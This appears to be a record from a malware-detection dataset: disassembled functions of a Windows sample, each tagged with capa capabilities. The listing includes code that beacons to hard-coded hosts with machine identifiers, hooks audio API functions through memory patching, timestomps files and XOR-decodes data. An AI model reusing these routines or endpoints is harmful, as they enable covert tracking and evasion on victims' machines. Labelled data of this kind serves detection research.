joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409f23
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push edi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x3c], 0
mov ecx, 0xe
xor eax, eax
lea edi, [ebp - 0x38]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0x3c
mov eax, dword [ebp + 0xc]
add eax, 0x820
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 0x104
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x104
mov edx, dword [ebp + 0xc]
add edx, 0x104
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 0x104
mov eax, dword [ebp + 0xc]
add eax, 0x208
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x104
mov ecx, dword [ebp + 0xc]
add ecx, 0x30c
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0x514
lea edx, [ebp - 0x3c]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x24]
and ecx, 0xffff
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x924], ecx
mov eax, dword [ebp - 0x40]
pop edi
mov esp, ebp
pop ebp
ret 8

Function at 0x409fcf
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40a051
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x10], edx
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jne 0x40a010
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40a053
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40a1e1
Capabilities:
Get http content length

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 4
push 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0x20000005
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x60]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x40a21b
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414eba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x18]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 0x58], eax
mov edx, dword [ebp - 0x24]
cmp dword [edx + 0x58], 0
jne 0x40a284
mov dword [ebp - 0x18], 0x41a754
push 0x417cd0
lea eax, [ebp - 0x18]
push eax
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x24]
push ecx
push 0
push 3
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov cx, word [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 0x58]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, dword [ebp - 0x24]
mov dword [edx + 0x5c], eax
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x5c], 0
jne 0x40a2ce
mov dword [ebp - 0x1c], str.failed...
push 0x417cd0
lea ecx, [ebp - 0x1c]
push ecx
call sub.MSVCRT.dll__CxxThrowException
push 0
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x40a2ef
mov dword [ebp - 0x20], 0x41a76c
push 0x417cd0
lea edx, [ebp - 0x20]
push edx
call sub.MSVCRT.dll__CxxThrowException
jmp 0x40a346
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x40a3ce
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414ec4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x60], 0
jne 0x40a41f
mov dword [ebp - 0x18], str.connection_failed...
push 0x417cd0
lea ecx, [ebp - 0x18]
push ecx
call sub.MSVCRT.dll__CxxThrowException
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x60]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40a451
mov dword [ebp - 0x1c], str.response_failed...
push 0x417cd0
lea ecx, [ebp - 0x1c]
push ecx
call sub.MSVCRT.dll__CxxThrowException
jmp 0x40a470
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40aeb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push edi
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push str..pipeDFFAF1BFC44b01BA1D18186B7F1733
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40af65
mov cl, byte [0x41bc84]
mov byte [ebp - 0x80c], cl
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x80b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x7ff
lea ecx, [ebp - 0x80c]
push ecx
call dword [sym.imp.MSVCRT.dll__vsnprintf]
add esp, 0x10
mov byte [ebp - 0xd], 0
mov dword [ebp - 0xc], 0
push 0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x80c]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x80c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40b809
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
push str.DSound.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b890
push str.DirectSoundCreate
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40b890
lea ecx, [ebp - 4]
push ecx
push 0x40
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push 0x41aac0
mov eax, dword [ebp - 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
push 8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.Winmm.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b94a
push str.midiStreamOpen
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40b8f9
lea edx, [ebp - 4]
push edx
push 0x40
push 8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push 0x41aac8
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.waveOutWrite
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40b94a
lea eax, [ebp - 4]
push eax
push 0x40
push 8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push 0x41aac0
mov edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40e5e6
Capabilities:
Reference cloudflare dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push edi
mov dword [ebp - 0x16c], ecx
mov byte [ebp - 0x168], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x167]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x64], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x41b444
mov eax, dword [ebp - 0x16c]
add eax, 0x25c
push eax
call fcn.0040f280
and eax, 0xff
test eax, eax
je 0x40e686
push 0x41b44c
push 0x41b45c
mov ecx, dword [ebp - 0x16c]
add ecx, 0x1f0
push ecx
push 0x41b464
mov edx, dword [ebp - 0x16c]
mov eax, dword [edx + 0x230]
push eax
push 0x41b46c
push str.http:___s_clickinfo.dll_reportaid_dfid_smac_sver_smgc_s
lea ecx, [ebp - 0x168]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
jmp 0x40e6c1
push str.asdlki823kfajk
push 0x41b4d4
push 0x41b4dc
push 0x41b4ec
mov edx, dword [ebp - 0x16c]
mov eax, dword [edx + 0x230]
push eax
push 0x41b4f4
push str.http:___s_clickinfo3.dll_reportaid_dfid_smac_sver_smgc_s
lea ecx, [ebp - 0x168]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
push 0
push 0
lea edx, [ebp - 0x168]
push edx
call fcn.0040399c
add esp, 0xc
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40e789
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0xc], 0
xor eax, eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov byte [ebp - 3], al
push 0x41b568
push 0xa
lea ecx, [ebp - 0xc]
push ecx
push 0x41bd5c
push 0x41b574
push 0x41b57c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
cmp eax, 0x16
jne 0x40e7d7
mov al, 1
jmp 0x40e7d9
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x40ee90
Capabilities:
Reference cloudflare dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
push edi
mov dword [ebp - 0x178], ecx
mov byte [ebp - 0x64], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x174], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x173]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x70], 0
xor eax, eax
mov dword [ebp - 0x6f], eax
mov dword [ebp - 0x6b], eax
mov byte [ebp - 0x67], al
mov ecx, dword [ebp - 0x178]
mov edx, dword [ecx + 0x2bc]
push edx
push 0x41b640
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push str.bd_jj2
mov ecx, dword [ebp - 0x178]
add ecx, 0x25c
push ecx
call fcn.0040f280
and eax, 0xff
test eax, eax
je 0x40ef56
lea edx, [ebp - 0x70]
push edx
push 0x41b64c
push 0x41b654
push 0x41b664
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x230]
push ecx
push str.cl.cpa520.com:10086
push str.http:___s_clickinfo.dll_actionaid_dfid_smac_sver_smgc_s
lea edx, [ebp - 0x174]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
jmp 0x40ef90
lea eax, [ebp - 0x70]
push eax
push str.1.0.0.1
push str.00_2c_02_30_dc
push str.11001
mov ecx, dword [ebp - 0x178]
mov edx, dword [ecx + 0x230]
push edx
push str.gms.ooucan.cn
push str.http:___s_clickinfo3.dll_actionaid_dfid_smac_sver_smgc_s
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
push 0x64
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x174]
push edx
call fcn.0040399c
add esp, 0xc
test eax, eax
je 0x40efe8
push str.action1
lea eax, [ebp - 0x64]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40efc5
mov eax, 0x66
jmp 0x40f008
push str.show1
lea ecx, [ebp - 0x64]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40efe1
mov eax, 0x65
jmp 0x40f008
mov eax, 0x64
jmp 0x40f008
mov edx, dword [ebp - 0x178]
mov eax, dword [edx + 0x2bc]
add eax, 1
mov ecx, dword [ebp - 0x178]
mov dword [ecx + 0x2bc], eax
mov eax, 0x64
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x40f8dd
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c0
push edi
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0xc], 1
mov al, byte [0x41bd60]
mov byte [ebp - 0x3b0], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
push 0
lea ecx, [ebp - 0x2ac]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x1a8]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x2ac]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x3b0]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x41b7a0
lea edx, [ebp - 0x2ac]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x41b7ac
lea eax, [ebp - 0x1a8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x41b7b8
lea ecx, [ebp - 0x3b0]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push SysReAllocStringLen
lea edx, [ebp - 0xa4]
push edx
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0xffffffff
je 0x40fa42
push 0
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x3b4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov edx, dword [ebp - 0x1c]
and edx, 0xffff
cmp edx, 0x7bd
jne 0x40fa35
mov eax, dword [ebp - 0x16]
and eax, 0xffff
cmp eax, 0x14
jne 0x40fa35
mov ecx, dword [ebp - 0x1a]
and ecx, 0xffff
cmp ecx, 0xa
jne 0x40fa35
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 0x3b4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x40fa85
push 0
lea eax, [ebp - 0x3b0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x3b8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3b8], 0
je 0x40fa7e
cmp dword [ebp - 0x3bc], 0xb7
jne 0x40fa85
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0
je 0x40fac7
push SysReAllocStringLen
lea ecx, [ebp - 0xa4]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0xffffffff
je 0x40fac7
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xc], 0
xor eax, eax
cmp dword [ebp - 0xc], 0
setne al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40fad5
Capabilities:
Create directory
Get common file path
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
push edi
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x210], 0
mov al, byte [0x41bd64]
mov byte [ebp - 0x314], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
push 0
lea ecx, [ebp - 0x20c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x314]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push str._system.ini
lea edx, [ebp - 0x20c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.yvideo.sfe
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str._yvs2_.._
lea ecx, [ebp - 0x314]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0xffffffff
je 0x40fc67
mov dword [ebp - 0x338], 0
lea ecx, [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov word [ebp - 0x330], 0x7bd
mov word [ebp - 0x32e], 0xa
mov word [ebp - 0x32a], 0x14
lea edx, [ebp - 0x320]
push edx
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
mov edx, dword [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0xffffffff
je 0x40fcbf
push 0
lea edx, [ebp - 0x210]
push edx
push 2
push 0x41b7e8
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x41281c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4127ab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
mov esp, ebp
pop ebp
ret
Function at 0x41429f
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, ecx
push 0x40
push 0
lea eax, [esi + 4]
mov dword [esi], 0x4171d0
push eax
call sub.MSVCRT.dll_memset
and dword [esi + 0x48], 0
and dword [esi + 0x44], 0
add esp, 0xc
mov dword [esi + 0x4c], 0x67452301
mov dword [esi + 0x50], 0xefcdab89
mov dword [esi + 0x54], 0x98badcfe
mov dword [esi + 0x58], 0x10325476
mov eax, esi
pop esi
ret
Function at 0x40152b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401535
repz ret
jmp fcn.004018e0
Function at 0x405250
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x4053a1
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
nop dword [eax]
call esi
sub byte [edi + ebp], 0x6b
call esi
add byte [edi + ebp], 0xbc
call esi
xor byte [edi + ebp], 0x3d
call esi
add byte [edi + ebp], 0x8b
call esi
add byte [edi + ebp], 0xcd
call esi
add byte [edi + ebp], 0x1e
call esi
add byte [edi + ebp], 0x21
call esi
xor byte [edi + ebp], 0x9e
call esi
add byte [edi + ebp], 0x7d
call esi
add byte [edi + ebp], 0xb4
call esi
xor byte [edi + ebp], 0x34
call esi
add byte [edi + ebp], 0xd6
call esi
add byte [edi + ebp], 0x37
call esi
add byte [edi + ebp], 0xe0
call esi
add byte [edi + ebp], 0xfd
call esi
add byte [edi + ebp], 0xc4
call esi
xor byte [edi + ebp], 0x32
call esi
add byte [edi + ebp], 0xa1
call esi
add byte [edi + ebp], 0x71
call esi
add byte [edi + ebp], 0x1f
call esi
add byte [edi + ebp], 0x17
call esi
add byte [edi + ebp], 8
call esi
add byte [edi + ebp], 0x6a
call esi
add byte [edi + ebp], 0x55
call esi
add byte [edi + ebp], 0x13
call esi
xor byte [edi + ebp], 0x99
call esi
add byte [edi + ebp], 0x24
call esi
add byte [edi + ebp], 0x10
call esi
add byte [edi + ebp], 0x19
call esi
add byte [edi + ebp], 0x13
call esi
add byte [edi + ebp], 0x1c
call esi
xor byte [edi + ebp], 0x2f
call esi
xor byte [edi + ebp], 0xdd
call esi
xor byte [edi + ebp], 0xe1
call esi
add byte [edi + ebp], 0x3b
call esi
add byte [edi + ebp], 0x99
call esi
xor byte [edi + ebp], 0x3c
call esi
add byte [edi + ebp], 8
call esi
add byte [edi + ebp], 0x39
call esi
xor byte [edi + ebp], 0xbf
call esi
add byte [edi + ebp], 0x57
call esi
xor byte [edi + ebp], 0x2a
call esi
add byte [edi + ebp], 0x52
call esi
xor byte [edi + ebp], 0x66
call esi
add byte [edi + ebp], 0x57
call esi
xor byte [edi + ebp], 0x14
call esi
add byte [edi + ebp], 0x59
call esi
add byte [edi + ebp], 0x66
call esi
add byte [edi + ebp], 0xe4
inc edi
cmp edi, ebx
jb 0x405270
pop esi
pop ebp
pop edi
pop ebx
ret
Function at 0x40aaf6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40ab35
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40ab35
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40ab35
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40ab35
cmp dword [ecx + 0x74], 0xe
jbe 0x40ab35
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x417f3c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c67c
push 0x42c674
push str.FlsAlloc
push 0x1e
call fcn.00417d69
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417f70
push dword [ebp + 8]
mov ecx, esi
call dword [0x4281a8]
call esi
jmp 0x417f76
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x417fba
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c68c
push 0x42c684
push str.FlsGetValue
push 0x20
call fcn.00417d69
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417ff1
push dword [ebp + 8]
mov ecx, esi
call dword [0x4281a8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41ab85
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041a827

Function at 0x41ab90
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041a9b6